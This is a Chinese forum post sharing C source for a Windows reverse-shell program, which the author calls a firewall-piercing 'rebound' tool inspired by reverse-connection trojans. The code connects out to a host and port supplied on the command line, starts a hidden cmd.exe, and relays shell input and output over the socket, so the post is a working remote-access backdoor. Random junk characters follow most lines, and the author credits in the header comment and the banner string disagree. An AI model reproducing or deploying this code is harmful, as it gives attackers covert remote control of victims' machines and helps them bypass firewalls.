这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F5/,H:K\
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/* ============================== di#:KW
Rebound port in Windows NT NFlrr*=t>
By wind,2006/7 %z AN@
===============================*/ .5?Md
#include >tVD[wVF0
#include "(SZ;y
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#pragma comment(lib,"wsock32.lib") 3']=w@~ O[
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void OutputShell(); aG/L'weR
SOCKET sClient; j?9fb
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4Nz]LK%@
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void main(int argc,char **argv) K@+(6\6I
{ rJ_fg$.<
WSADATA stWsaData; '5m`[S-IU
int nRet; 'Lv>!s 7
SOCKADDR_IN stSaiClient,stSaiServer; "r.eN_d
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if(argc != 3) p+d?k"WN?
{ k6W
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printf("Useage:\n\rRebound DestIP DestPort\n"); ys$X!Ep
return; <bxp/#6D
} +UC-
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WSAStartup(MAKEWORD(2,2),&stWsaData); <)$b=z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U4$CkTe2Y
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stSaiClient.sin_family = AF_INET; 9<S};I;
stSaiClient.sin_port = htons(0); :p,DAt}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zp*0%x!e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NKS-G2Y<P
{ ^J$?[@qD
printf("Bind Socket Failed!\n"); q<*UeyE
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return; \hT=U*dMR
} # ~T
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stSaiServer.sin_family = AF_INET; W-ll2b
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mBZg(TY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8]-c4zK
{ a)GT\1q
printf("Connect Error!"); WF0[/Y
return; `jyBF
} fA>FU/r
OutputShell(); #GT4/Ej}W
} 1P+Te,I
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void OutputShell() IHlTp0?
{ lGAKHCs
char szBuff[1024]; `;fk,\8t%
SECURITY_ATTRIBUTES stSecurityAttributes; *yxn*B_xZ
OSVERSIONINFO stOsversionInfo; my^2}>wi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G*lkVQ6?
STARTUPINFO stStartupInfo; d;9F2,k$w
char *szShell; NN;'QiE
PROCESS_INFORMATION stProcessInformation; J|A:C[7 2
unsigned long lBytesRead; #XJ`/\E]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0ynvn9@t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3\jcq@N
stSecurityAttributes.lpSecurityDescriptor = 0; 2XN];,{
stSecurityAttributes.bInheritHandle = TRUE; D-IXO@x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #^ cmh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8S_v} NUm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z1u1%FwOfM
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n!K<g.tjW
stStartupInfo.wShowWindow = SW_HIDE; {v>orP?
stStartupInfo.hStdInput = hReadPipe; D7"RZF\)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YzD6S*wb
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GetVersionEx(&stOsversionInfo); PLmf.hD \
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switch(stOsversionInfo.dwPlatformId) BRg(h3 ED
{ ;.<0ln V
case 1: T@ecWRro
szShell = "command.com"; uqg#(ADy?R
break; Px<*n '~}
default: zz1e)W/
szShell = "cmd.exe"; ]VU a$$
break; g,N"o72)
} @a{1vT9b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); ^Q'^9M2)
while(1) A=5A8B1
{ jK{)gO
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %w YGI
if(lBytesRead) .s)z?31
{ jml
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5|E_ ,d!v
send(sClient,szBuff,lBytesRead,0); c5t],P
} >pV|c\
else `zJTVi4
{ >sL"HyY#H
lBytesRead=recv(sClient,szBuff,1024,0); `V1D&}H+G
if(lBytesRead<=0) break; 'kz[Gh*8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V!Q1o!J
} Alsr6uLT1
} 9Xv>FVG!
ma<+!*|
return; [e:mRMi
}